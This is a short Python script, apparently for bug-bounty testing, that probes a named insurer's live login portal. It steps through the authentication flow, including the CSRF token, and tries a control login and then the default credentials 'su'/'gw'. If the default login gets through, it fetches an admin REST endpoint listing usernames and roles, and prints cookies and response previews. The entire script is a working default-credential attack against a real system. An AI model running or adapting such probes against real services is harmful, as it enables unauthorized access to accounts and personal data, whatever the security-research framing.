#!/usr/bin/env -S uv run --script
# /// script
# requires-python = ">=3.11"
# dependencies = ["curl-cffi>=0.15.0"]
# ///
from curl_cffi import requests
from urllib.parse import quote
import json
ident={'X-Bug-Bounty':'dwbzn'}
base='https://mein-portal.baloise.de/auth'
loc='https://gwde.baloise.de/pc/rest/admin/v1/users/default_data:1?fields=username,active,displayName,roles'
for name,user,pw in [('control','bugbounty-dwbzn-nonexistent','not-a-real-password'),('default','su','gw')]:
 s=requests.Session(impersonate='chrome')
 s.get(base+'/ui/app/auth/application/access?Location='+quote(loc,safe=''),headers=ident,timeout=20)
 def headers(extra=None):
  return {**ident,'Accept':'application/json, application/vnd.api+json','Content-Type':'application/json','X-Same-Domain':'1','X-CSRFT759':s.cookies.get('CSRFT759-S') or '',**(extra or {})}
 r=s.post(base+'/rest/public/authentication/location/access',headers=headers(),json={'location':loc},timeout=20)
 r=s.post(base+'/rest/public/authentication/password/check',headers=headers({'X-Continue-Flow':'true'}),json={'username':user,'password':pw},timeout=20)
 try: j=r.json()
 except: j={}
 print(json.dumps({'name':name,'status':r.status_code,'len':len(r.content),'exchange':getattr(r,'toadex_exchange_id',None),'next':j.get('meta',{}).get('nextAuthStep'),'forward':j.get('meta',{}).get('forwardUrl'),'preview':r.text[:300],'cookies':s.cookies.get_dict()},ensure_ascii=False))
 if name=='default' and r.status_code < 400:
  q=s.get(loc,headers=ident,timeout=20,allow_redirects=False)
  print(json.dumps({'follow_status':q.status_code,'exchange':getattr(q,'toadex_exchange_id',None),'location':q.headers.get('location'),'preview':q.text[:300]},ensure_ascii=False))